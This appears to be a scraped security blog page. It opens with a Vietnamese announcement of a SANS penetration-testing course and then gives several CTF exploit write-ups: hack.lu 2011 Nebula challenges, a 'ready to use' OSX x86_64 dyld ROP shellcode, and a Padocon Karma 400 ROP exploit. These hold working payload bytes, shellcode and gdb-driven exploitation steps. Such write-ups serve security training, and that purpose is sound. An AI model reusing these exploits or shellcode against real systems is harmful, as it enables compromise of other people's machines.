Học viện SANS đến Việt Nam 03/2012
Những ai làm về lĩnh vực an toàn thông tin chắc đều biết đến học viện SANS như là một học viện hàng đầu thế giới về đào tạo an toàn thông tin. Học viện SANS, được thành lập từ năm 1989, đã đào tạo hơn 165,000 chuyên gia an toàn thông tin khắp nơi trên thế giới trong đó có những nhà quản lý an toàn thông tin cao cấp, chuyên gia đánh giá an ninh hay các quản trị viên hệ thống cho các tập đoàn hàng đầu thế giới hay các cơ quan an ninh chính phủ. Học viện SANS còn có một hệ thống tài liệu nghiên cứu khổng lồ về an toàn thông tin và điều hành trung tâm cảnh báo an ninh Internet.

Các chứng chỉ an toàn thông tin của học viện SANS được công nhận trên toàn thế giới và luôn được đánh giá là chứng chỉ hàng đầu về an toàn thông tin. Thông thường các khóa học của học viện SANS hàng năm diễn ra ở Mỹ, Châu Âu và một vài nước Châu Á. Việc học và thi chứng chỉ của SANS nói riêng hay các chứng chỉ quốc tế khác thường mất khá nhiều thời gian và tốn kém tại Việt nam. Như một bước khởi đầu cho việc đào tạo an toàn thông tin ở Việt nam, học viện SANS lần đầu tiên mở một khóa học SANS 560 về Kiểm Định An Toàn Thông Tin Mạng (“Network Penetration Testing and Ethical Hacking”) vào đầu năm 2012 tại thành phố Hồ Chí Minh.
Học viên sẽ được tổ chức thi chứng chỉ GIAC Penetration Tester (GIAC GPEN) tại chỗ. Đây là chứng chỉ uy tín nhất hiện nay dành cho chuyên gia an toàn thông tin trong việc kiểm định an toàn thông tin mạng.
Thời gian: Tháng 03, 2012
Địa điểm: The Fleminton Tower
182 Lê Đại Hành, Quận 11
Thành phố Hồ Chí Minh, Việt nam
Để đăng kí khóa học, xin vui lòng truy cập vào http://www.sans.org/mentor/details.php?nid=27046. SANS hiện có chương trình giảm giá cho các công ty, tổ chức về an toàn thông tin tại Việt nam cũng như các công ty đăng ký từ 02 học viên trở lên. Để có được mã giảm giá, xin vui lòng email thanh _AT_ vnsecurity.net trước khi đăng ký.
Thông tin chi tiết hơn về khóa học có thể xem ở đây.
Thông tin tham khảo:
Hack.lu CTF 2011: Nebula Death Stick Services writeup
Challenge Information
Death Sticks are a totally illegal drug in the universe.
However, somehow a company called Death Stick Services has managed to get a huge trade volume by selling Death Sticks directly and anonymously to their costumers.
Seems like nobody has the power to stop them, so the Galactic’s Secret Service ordered YOU and your Special Forces team to get a Shell on Death Stick Service’s server and search for any evidence on how to take them down!
May the force be with you.http://ctf.hack.lu:2010/
Analysis
Thanks rd for helping Analysis part.
Checking around http://ctf.hack.lu:2010/ page, I found that there is a directory traversal vulnerability (http://ctf.hack.lu:2010/?page=../../../../etc/resolv.conf). Together with “./a.out“ from HTTP response header, I managed to download the binary via this request http://ctf.hack.lu:2010/?page=../a.out.
“a.out” binary is a 32 bit x86 Linux binary, running on Ubuntu 10.10 server. There is a vulnerability in query parsing function parse_params as below.
parse_params() function basically looks ‘?‘ and ‘=‘ in order to parse the input query such as /?page=blah, and then uses the different in length (len) to store parameter name and its value to the buffer on the stack of the caller function (handle_connection()). From above code, you can see that if we input in reverse order of ‘?‘ and ‘=‘ such as /=blah?, len value will be negative but it still pass the the condition check because of signed comparison. This leads into a traditional stack buffer overflow.
$ python2 -c ‘print “GET /=” + “A”*60 + “? HTTP/”‘|nc -v localhost 2010
..
(gdb) run
Starting program: /home/jail/ctf/hack.lu/o500/a.out
Notice: Nebulaserv – A Webserver for NebulacorpNotice: Starting up!
- Accepting requests on port 2010
[New process 4626]
- Got request with length 0: 127.0.0.1:35695 – GET /=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA? HTTP/- Got param: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA< with value
- Opening ./nebula/index – 404 Not FoundProgram received signal SIGSEGV, Segmentation fault.
[Switching to process 4626]
0×41414141 in ?? ()
Exploit
The binary has NX and ASLR enabled so we have to leak libc info from server for ROP/ret2libc exploit. During the game, to save time we utilized shell on the same server from Nebula DB challenge to retrieved libc, then constructed a ROP payload to call a custom shell script as system(”/tmp/sh”). After the game, we investigate more to see if we can exploit without any knowledge of server. And here is the way we do:
Retrieve libc
In handle_connection() function socket fd is increased for every new connection. Though we can find this value on stack, it is still difficult to find code chunks to write back something valuable to our socket. Instead, we can utilize the directory traversal bug above to retrieve libc via this request: http://ctf.hack.lu:2010/?page=../../../../lib/libc.so.6
Construct ROP payload
With libc in hand, we know exact offset to any libc function and ROP payload can be constructed using “data re-use way” via sprintf() – which can perform byte-per-byte transfer the same as strcpy() – or “ROP with common functions in Ubuntu/Debian x86“.
The flag
The flag was put in a file with strange name so you cannot guess and get it via directory traversal bug.
$ ls -l /home/nebulaserver total 24 -r-xr-x--- 1 root nebulaserver 11195 2011-09-11 20:50 a.out -r--r----- 1 root nebulaserver 27 2011-09-20 13:19 IguessTHISisTHEflagDOOD drwxr-xr-x 3 root nebulaserver 4096 2011-09-11 20:22 nebula -r-xr-x--- 1 root nebulaserver 82 2011-09-20 17:00 restart.sh $ cat /home/nebulaserver/IguessTHISisTHEflagDOOD Flag: R0PPINGy0urWAYinDUDE
hack.lu CTF 2011 nebula DB systems
September 22, 2011 by suto · 2 Comments
Challenge Summary:
While you were investigating the Webserver of Nebula Death Stick Services, we, the Galactic’s Secret Service, put our hands on a SSH account of one of the Nebula Death Stick Services founders. This account directly leads to one of their Death Stick storage clusters. Therefore we instruct you with another mission: this time you will have to break their database systems in order to get higher privileges and find further infos about Nebula Corp. And again, may the force be with you!
User: nebulauserPass: nebulauser
Host: ctf.hack.lu
Port: 2008
After login to ctf.hack.lu server we get 4 files:
-nebula_db
-nebula_db_nosuid
_nebula_db.c
_hint
nebula_db is a file with suid(s) bits, when you execute that you have required permission to read the flag, nebula_db_nosuid is the file for testing and debuging purpose, nebula_db.c is source code of challenge, hint is tell you where is the flag stored.
So basically you need to execute nebula_db and some how try to alter execution flow to do some more thing for you ( read the flag ).
First things is try to spot the vuln by reading source code they provided:
/* Nebula Death Stick Services Database Management System
* This Software has been written to keep track of our customers and their orders.
* It is still in developement, but I'm pretty sure it's already stable enough for a safe maintenance.
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define DB_SIZE 256
char *db[DB_SIZE];
int edit_entry(char *choice, unsigned int entry)
{
char edit[256], *ln;
unsigned int len;
if (atoi(choice) > entry - 1 || atoi(choice) < 0 || entry == 0)
return -1;
len = strlen(db[atoi(choice)]);
printf("Enter your edit: ");
fgets(edit, sizeof(edit) - 1, stdin);
ln = strchr(edit, '\n');
if (ln != NULL)
*ln = '\0';
strncpy(db[atoi(choice)], edit, len);
return 0;
}
char *insert_new_order(unsigned int entry, char *name, char *amount)
{
char sname[256], samount[256], *nl, *ptr;(3)
int ret;
nl = strchr(name, '\n');
if (nl != NULL)
*nl = '\0';
nl = strchr(amount, '\n');
if (nl != NULL)
*nl = '\0';
ret = asprintf(&ptr, "ID: %d: Name: %s Amount: %s", entry, name, amount);
if (ret == 0)
return NULL;
return ptr;
}
char *enter_new_order(unsigned int entry)
{
char name[256], amount[256];
printf("Enter a Name: ");
fgets(name, sizeof(name) - 1, stdin);
printf("Enter amount of Death Sticks: ");
fgets(amount, sizeof(amount) - 1, stdin);
if (atoi(amount) <= 0) {
fprintf(stderr, "Insert a real amount please!\n");
return NULL;
}
if (entry > DB_SIZE - 1) {
fprintf(stderr, "Database already full!\n");
return NULL;
}
return insert_new_order(entry, name, amount);
}
int print_database(unsigned int entry)
{
unsigned int i;
for (i = 0; i < entry; i++)
printf("%s\n", db[i]);
return 0;
}
int exit_free(unsigned int entry)
{
unsigned int i;
for (i = 0; i < entry; i++)
free(db[i]);
return 0;
}
int main(int argc, char **argv)
{
char choice[256], *ret;
unsigned int entry = 0, len, i;
puts(
"Nebula Database set up!\n"
"Enter your choice of action:\n"
"1 - Insert new order\n"
"2 - Edit order\n"
"3 - List orders\n"
"4 - Exit\n"
);
while (1) {(4)
printf("Your choice: ");
fgets(choice, sizeof(choice) - 1, stdin);
switch (atoi(choice)) {
case 1:
ret = enter_new_order(entry);
if (ret == NULL) {
fprintf(stderr, "Error inserting new order!\n");
break;
}
db[entry] = ret;
entry++;(2)
break;
case 2:
printf("Enter the ID of your order: ");
fgets(choice, sizeof(choice) - 1, stdin);
if (edit_entry(choice, entry) == -1)
fprintf(stderr, "That entry does not exist!\n");
break;
case 3:
print_database(entry);
break;
case 4:
return exit_free(entry);
default:
fprintf(stderr, "Option does not exist\n");
}
}
return 0;
}
As they said, the challenge is a small db management, it save name and amount of orders in an array up to 256 record. You can add or edit a record.
So the funny part is:
ret = asprintf(&ptr, "ID: %d: Name: %s Amount: %s", entry, name, amount);
if (ret == 0)
return NULL;
And after reading manpages of asprintf, i figured out there is a problem when using it without fully understand what it returned, so return value indicate how many bytes it printed, and the funny part is when it failed, it will return -1 but programmer is not check for that case, they think when it will return 0 mean it failed.
It mean we can still increase entry value at (2) without create any new record. It basic will lead to double free memory corruption error. So next thing is try to figure out how to force asprintf return -1 ( or force it can’t alloc any memory ). After getting help from rd and xichzo, we found ulimit do the tricks:
suto@ubuntu:~$ ulimit -v 1795 suto@ubuntu:~$ ./nebula_db Nebula Database set up! Enter your choice of action: 1 - Insert new order 2 - Edit order 3 - List orders 4 - Exit Your choice: 1 Enter a Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Enter amount of Death Sticks: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 Your choice: 4 *** glibc detected *** ./n: double free or corruption (out): 0x08049118 *** Aborted (core dumped) suto@ubuntu:~$
After getting here, i see another way can lead to successful exploitation. When asprintf fail, it will use ptr(3) at a result for main program use to keep track a record, somehow we can make this ptr point to some where we want and edit_entry will take care the rest to write a value we control to that address(since ptr is use without initialized)
But i can’t find anyway to do that, so i thinking another solution.
And i wonder if when the first alloc failt, so it will use the original value of at that address. After some check i’m stuck cause i can’t not do anything without this default value.
I try some google in hopeless :p with keyword: “control uninitialized memory”
At the first resutls is:
http://drosenbe.blogspot.com/2010/04/controlling-uninitialized-memory-with.html
Another trick to control memory at the begining of process execution. Let’s check:
suto@ubuntu:~$ export LD_PRELOAD=`python -c 'print "A"*20000'` suto@ubuntu:~$ ulimit -c unlimited suto@ubuntu:~$ ulimit -v 1795 suto@ubuntu:~$ ./nebula_db ERROR: ld.so: object '<A>*20000... from LD_PRELOAD cannot be preloaded: ignored. Nebula Database set up! Enter your choice of action: 1 - Insert new order 2 - Edit order 3 - List orders 4 - Exit Your choice: 1 Enter a Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Enter amount of Death Sticks: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 Your choice: 2 Enter the ID of your order: 0 Segmentation fault (core dumped) suto@ubuntu:~$
So if this tricks work, we will have a write to address at 0×41414141.
(gdb) x/i $eip => 0xb764b706: movdqu (%edi),%xmm1 (gdb) i r $edi edi 0x41414141 1094795585 (gdb) bt #0 0xb764b706 in ?? () from /lib/i386-linux-gnu/libc.so.6 #1 0x0804864c in edit_entry () #2 0x08048a04 in main ()
So this is all i want :p Next things is find some where to write, and i choose GOT section, first thing i trying is printf@GOT and using a hardcode address to return, and i stupid try to do that to the end of the game :(.
After that, thinking a little bit, i got another solution:
After the calling edit_entry ( where we can directly write to GOT section), program will return to while loop at (4) and continue execute, then i see a good candidate to overwrite is atoi, why? cause after fgets at (5) eax will point to our string, and we will use call *eax gadget to execute our shellcode.
And finally:
export LD_PRELOAD=`python -c 'print "\x18\x91\x04\x08"*4000+"\xcc"*1000'`
This will force program wirte to atoi@PLT and
suto@ubuntu:~$ objdump -d n | grep call | grep eax 80485a8: ff 14 85 08 90 04 08 call *0x8049008(,%eax,4) 80485ef: ff d0 call *%eax 8048b1b: ff d0 call *%eax suto@ubuntu:~$ python -c 'print "1\n"+"A"*250+"\n"+"1"*250+"\n"+"2\n0\n"+"\x1b\x8b\x04\x08"*40+"\xcc"*400' > input suto@ubuntu:~$ bash suto@ubuntu:~$ ulimit -s unlimited suto@ubuntu:~$ export LD_PRELOAD=`python -c 'print "\x18\x91\x04\x08"*4000+"\xcc"*1000'` suto@ubuntu:~$ ulimit -c unlimited suto@ubuntu:~$ ulimit -v 1795 suto@ubuntu:~$ ./nebula_db < input ERROR: ld.so: object from LD_PRELOAD cannot be preloaded: ignored. Nebula Database set up! Enter your choice of action: 1 - Insert new order 2 - Edit order 3 - List orders 4 - Exit Trace/breakpoint trap (core dumped) ....... (gdb) x/20x $eip 0xbfa33571: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc 0xbfa33581: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc 0xbfa33591: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc 0xbfa335a1: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc 0xbfa335b1: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
So you can replace \xcc with a shellcode to read the flag key file.
Here is my shellcode to read /home/suto/flag and write to /tmp/flag: ( assembly source)
char shellcode[] =
"\xeb\x44\x5b\x31\xc0\x88\x43\x0f\xb0\x05\xb9\x42\x44\x41\x41"
"\xc1\xe1\x14\xc1\xe9\x14\x66\xba\xe4\x01\xcd\x80\x50\x83\xc3"
"\x10\x31\xc0\xb0\x05\xcd\x80\x5b\x50\xb0\xc8\x29\xc4\x89\xe1"
"\x89\xc2\x31\xc0\xb0\x03\xcd\x80\xb0\xc8\x01\xc4\x5b\x31\xc0"
"\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xb7\xff\xff\xff"
"\x2f\x68\x6f\x6d\x65\x2f\x73\x75\x74\x6f\x2f\x66\x6c\x61\x67"
"\x41\x2f\x74\x6d\x70\x2f\x66\x6c\x61\x67";
suto@ubuntu:~$ python -c 'print "1\n"+"A"*250+"\n"+"1"*250+"\n"+"2\n0\n"+ "\xeb\x44\x5b\x31\xc0\x88\x43\x0f\xb0\x05\xb9\x42\x44\x41\x41 \xc1\xe1\x14\xc1\xe9\x14\x66\xba\xe4\x01\xcd\x80\x50\x83\xc3 \x10\x31\xc0\xb0\x05\xcd\x80\x5b\x50\xb0\xc8\x29\xc4\x89\xe1 \x89\xc2\x31\xc0\xb0\x03\xcd\x80\xb0\xc8\x01\xc4\x5b\x31\xc0 \xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xb7\xff\xff\xff \x2f\x68\x6f\x6d\x65\x2f\x73\x75\x74\x6f\x2f\x66\x6c\x61\x67 \x41\x2f\x74\x6d\x70\x2f\x66\x6c\x61\x67";' > input suto@ubuntu:~$./nebula_db < input suto@ubuntu:~$cat /tmp/flag hello
Finally,congratz to bobsleigh is the only team solved it.
Thanks fluzfinger team for a great ctf. See u guys in next year!
–suto–
Yet another universal OSX x86_64 dyld ROP shellcode
July 30, 2011 by longld · Leave a Comment
This technique was killed by OSX Lion 10.7 with full ASLR. @pa_kt has posted an Universal ROP shellcode for OS X x64 with detail steps and explanation. If you don’t have a chance to read above post, the basic ideas are:
- Copy stubcode to a writable area (.data section)
- Make that area RWX
- Jump to RWX area and execute stubcode
- Stubcode will transfer normal shellcode to RWX area and execute it
- All the ROP gadgets are from dyld module which is not randomized
In this post, we shows another OSX x86_64 dyld ROP shellcode which is more simple. We employ the same ideas with some minor differences in implementation:
- Instead of using long gadgets with “leave”, we use direct, short gadgets from unintended code
- Calling mprotect() via syscall
- Short stubcode (7 bytes) using memcpy() to transfer payload
Here is the ROP shellcode with explanation:
# store [target], stubcode 0x00007fff5fc0e7ee # pop rsi ; adc al 0x83 0xc353575e545a5b90 # => rsi = stubcode 0x00007fff5fc24cdc # pop rdi 0x00007fff5fc74f80 # => rdi 0x00007fff5fc24d26 # mov [rdi+0x80] rsi; stubcode => [target] # load rdx, 0x7 (prot RWX) 0x00007fff5fc24cdc # pop rdi 0x00007fff5fc75001 # => rdi 0x00007fff5fc1ddc0 # lea rax, [rdi-0x1] 0x00007fff5fc219c3 # pop rbp ; add [rax] al ; add cl cl 0x00007fff5fc75000 # => rbp 0x00007fff5fc0e7ee # pop rsi ; adc al 0x83 0x0000000000000007 # => rsi 0x00007fff5fc14149 # mov edx esi ; add [rax] al ; add [rbp+0x39] cl => rdx = 0x7 # load rsi, 4096 (size) 0x00007fff5fc0e7ee # pop rsi ; adc al 0x83 0x0000000000001000 # => rsi = 4096 # load rax, mprotect_syscall 0x00007fff5fc24cdc # pop rdi 0x000000000200004b # => rdi 0x00007fff5fc1ddc0 # lea rax, [rdi-0x1] => rax = 0x200004a (mprotect syscall) # load rdi, target 0x00007fff5fc24cdc # pop rdi 0x00007fff5fc75000 # => rdi = target # syscall 0x00007fff5fc1c76d # mov r10, rcx; syscall => mprotect(target, 4096, 7) 0x00007fff5fc75000 # jump to target, execute stubcode # stubcode # 5B pop rbx # rbx -> memcpy() # 5A pop rdx # rdx -> size # 54 push rsp # src -> &shellcode # 5E pop rsi # src -> &shellcode # 57 push rdi # jump to target when return from memcpy() # 53 push rbx # memcpy() # C3 ret # execute memcpy(target, &shellcode, size) 0x00007fff5fc234f0 # &memcpy() 0x0000000000000200 # shellcode size = 512 <your shellcode here>
You can verify those gadgets and find more here: http://goo.gl/p35vY
Ready to use shellcode:
"\xee\xe7\xc0\x5f\xff\x7f\x00\x00\x90\x5b\x5a\x54\x5e\x57\x53\xc3" "\xdc\x4c\xc2\x5f\xff\x7f\x00\x00\x80\x4f\xc7\x5f\xff\x7f\x00\x00" "\x26\x4d\xc2\x5f\xff\x7f\x00\x00\xdc\x4c\xc2\x5f\xff\x7f\x00\x00" "\x01\x50\xc7\x5f\xff\x7f\x00\x00\xc0\xdd\xc1\x5f\xff\x7f\x00\x00" "\xc3\x19\xc2\x5f\xff\x7f\x00\x00\x00\x50\xc7\x5f\xff\x7f\x00\x00" "\xee\xe7\xc0\x5f\xff\x7f\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" "\x49\x41\xc1\x5f\xff\x7f\x00\x00\xee\xe7\xc0\x5f\xff\x7f\x00\x00" "\x00\x10\x00\x00\x00\x00\x00\x00\xdc\x4c\xc2\x5f\xff\x7f\x00\x00" "\x4b\x00\x00\x02\x00\x00\x00\x00\xc0\xdd\xc1\x5f\xff\x7f\x00\x00" "\xdc\x4c\xc2\x5f\xff\x7f\x00\x00\x00\x50\xc7\x5f\xff\x7f\x00\x00" "\x6d\xc7\xc1\x5f\xff\x7f\x00\x00\x00\x50\xc7\x5f\xff\x7f\x00\x00" "\xf0\x34\xc2\x5f\xff\x7f\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00"
Padocon 2011 CTF Karma 400 exploit: the data re-use way
Karma 400 at Padocon 2011 Online CTF is a fun challenge. The binary was provided without source code, you can reach its decompiled source at disekt’s team writeup. In that writeup, the solution was bruteforcing address of IO stdin buffer with return to do_system() trick. Karma 400 is different than other karma attackme:
- It runs as a network daemon (via xinetd): so you cannot abuse its arguments and environments
- Input buffer is 200 bytes: you have room for payload (not only just overwrite saved EIP)
- There is a 10 seconds sleep before main() returns: this makes bruteforcing less effective
In this post I will show how to exploit karma 400 with data re-use method.
$ gdb -q karma400_lolcosmostic gdb$ pattern_create 200 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag gdb$ r input: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag Program received signal SIGSEGV, Segmentation fault. --------------------------------------------------------------------------[regs] EAX: 0x00000000 EBX: 0x41346141 ECX: 0xBFFFF384 EDX: 0x00B84FF4 o d I t S z a p c ESI: 0x00000000 EDI: 0x61413561 EBP: 0x62413961 ESP: 0xBFFFF3DC EIP: 0x08048793 CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B [0x007B:0xBFFFF3DC]------------------------------------------------------[stack] 0xBFFFF42C : 64 37 41 64 38 41 64 39 - 41 65 30 41 65 31 41 65 d7Ad8Ad9Ae0Ae1Ae 0xBFFFF41C : 41 64 32 41 64 33 41 64 - 34 41 64 35 41 64 36 41 Ad2Ad3Ad4Ad5Ad6A 0xBFFFF40C : 36 41 63 37 41 63 38 41 - 63 39 41 64 30 41 64 31 6Ac7Ac8Ac9Ad0Ad1 0xBFFFF3FC : 63 31 41 63 32 41 63 33 - 41 63 34 41 63 35 41 63 c1Ac2Ac3Ac4Ac5Ac 0xBFFFF3EC : 41 62 36 41 62 37 41 62 - 38 41 62 39 41 63 30 41 Ab6Ab7Ab8Ab9Ac0A 0xBFFFF3DC : 30 41 62 31 41 62 32 41 - 62 33 41 62 34 41 62 35 0Ab1Ab2Ab3Ab4Ab5 --------------------------------------------------------------------------[code] => 0x8048793: ret 0x8048794: nop 0x8048795: nop 0x8048796: nop -------------------------------------------------------------------------------- 0x08048793 in ?? () gdb$ x/x $esp 0xbffff3dc: 0x31624130 gdb$ pattern_offset 200 0x31624130 Searching for 0Ab1 in buf size 200 32
We have 200-32 = 168 bytes left for our payload. The goal is to execute a custom shell in /tmp, for this purpose I choose execv("/tmp/v", ptr_to_NULL).
Step 1: transfer the string "/tmp/v" to un-used data region using chained strcpy() calls
gdb$ x/32wx 0x08049a50 0x8049a50: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049a60 <stdin>: 0x00b85440 0x00000000 0x00000000 0x00000000 0x8049a70: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049a80 <stdout>: 0x00b854e0 0x00000000 0x00000000 0x00000000 0x8049a90: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049aa0: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049ab0: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049ac0: 0x00000000 0x00000000 0x00000000 0x00000000 TARGET = 0x8049a90 NULLARGV = TARGET - 4 gdb$ info func strcpy@plt All functions matching regular expression "strcpy@plt": Non-debugging symbols: 0x080484f0 strcpy@plt STRCPY = 0x080484f0 gdb$ x/4i 0x80485e3 0x80485e3: pop ebx 0x80485e4: pop ebp 0x80485e5: ret 0x80485e6: lea esi,[esi+0x0] gdb$ POP2RET = 0x80485e3 gdb$ findsubstr 0x08048000 0x08049000 "/tmp/v\\x00" Searching for '/tmp/v\x00' '/': 0x8048134 't': 0x80480f6 'm': 0x80482dc 'p': 0x8048313 '/': 0x8048134 'v\x00': 0x80485e7 DATA1 = [0x8048134, 0x80480f6, 0x80482dc, 0x8048313, 0x8048134, 0x80485e7]
The payload will look like:
[ STRCPY, POP2RET, TARGET, DATA1[0], STRCPY, POP2RET, TARGET+1, DATA1[1], ... ]
Step-2: overwrite GOT entry of puts() (or any function) with execv()
This is a bit tricky, because libc address is ASCII ARMOR we cannot put execv() address directly on the payload. Fortunately, libc address is not randomized so we can directly overwrite GOT with execv() address using strcpy likes the data above.
gdb$ p execv
$2 = {<text variable, no debug info>} 0xac4680 <execv>
EXECV = 0xac4680
gdb$ info functions puts@plt
All functions matching regular expression "puts@plt":
Non-debugging symbols:
0x08048540 puts@plt
gdb$ x/i 0x08048540
0x8048540 <puts@plt>: jmp DWORD PTR ds:0x8049a48
PLTADDR = 0x08048540
GOTADDR = 0x8049a48
gdb$ findsubstr 0x08048000 0x08049000 0xac4680
Searching for '\x80F\xac'
'\x80': 0x804803d
'F': 0x8048003
'\xac': 0x80481b0
gdb$ findsubstr 0x08048000 0x08049000 0x00
Searching for '\x00'
'\x00': 0x8048007
DATA2 = [0x804803d, 0x8048003, 0x80481b0, 0x8048007]
The payload will look like:
[ STRCPY, POP2RET, GOTADDR, DATA2[0], STRCPY, POP2RET, GOTADDR+1, DATA2[1], ... ]
Finally, we make call to execv() via puts@plt:
[ PLTADDR, 0xdeadbeef, TARGET, NULLARGV ]
We have a small problem, our payload size is 176. Each strcpy() call takes 16 bytes payload and there is 10 calls for data transfer, we have to reduce at least 1 call. We can tweak our custom shell a bit to reduce payload length, instead of "/tmp/v" we use "/tmp/ld-linux.so.2" so the last string to copy is "/ld-linux.so.2".
gdb$ findsubstr 0x08048000 0x0804a000 "/" Searching for '/' '/': 0x8048134 gdb$ x/s 0x8048134 0x8048134: "/lib/ld-linux.so.2" gdb$ x/s 0x8048138 0x8048138: "/ld-linux.so.2" DATA1 = [0x8048134, 0x80480f6, 0x80482dc, 0x8048313, 0x8048138]
Wrap things up and test:
gdb$ shell python
Python 2.6.6 (r266:84292, Sep 15 2010, 15:52:39)
[GCC 4.4.5] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> TARGET = 0x8049a90
>>> NULLARGV = TARGET - 4
>>> STRCPY = 0x080484f0
>>> POP2RET = 0x80485e3
>>> DATA1 = [0x8048134, 0x80480f6, 0x80482dc, 0x8048313, 0x8048138]
>>> PAYLOAD = []
>>> for i in range(len(DATA1)):
... PAYLOAD += [STRCPY, POP2RET, TARGET+i, DATA1[i]]
...
>>> for i in range(len(DATA2)):
... PAYLOAD += [STRCPY, POP2RET, GOTADDR+i, DATA2[i]]
...
>>> PAYLOAD += [PLTADDR, 0xdeadbeef, TARGET, NULLARGV]
>>> len(PAYLOAD)
40
>>> fd = open("payload", "wb")
>>> import struct
>>> fd.write("A"*32) # padding
>>> for i in range(len(PAYLOAD)):
... fd.write(struct.pack("<I", PAYLOAD[i]))
...
>>> fd.close()
>>> ^D
gdb$ shell ln -s /usr/bin/id /tmp/ld-linux.so.2
gdb$ r < payload
input: process 1866 is executing new program: /usr/bin/id
Program received signal SIGPIPE, Broken pipe.
Pwned!
Notes:
- This way can also be applied to exploit karma 500
- Disekt's return to do_system() trick is really neat for local exploit


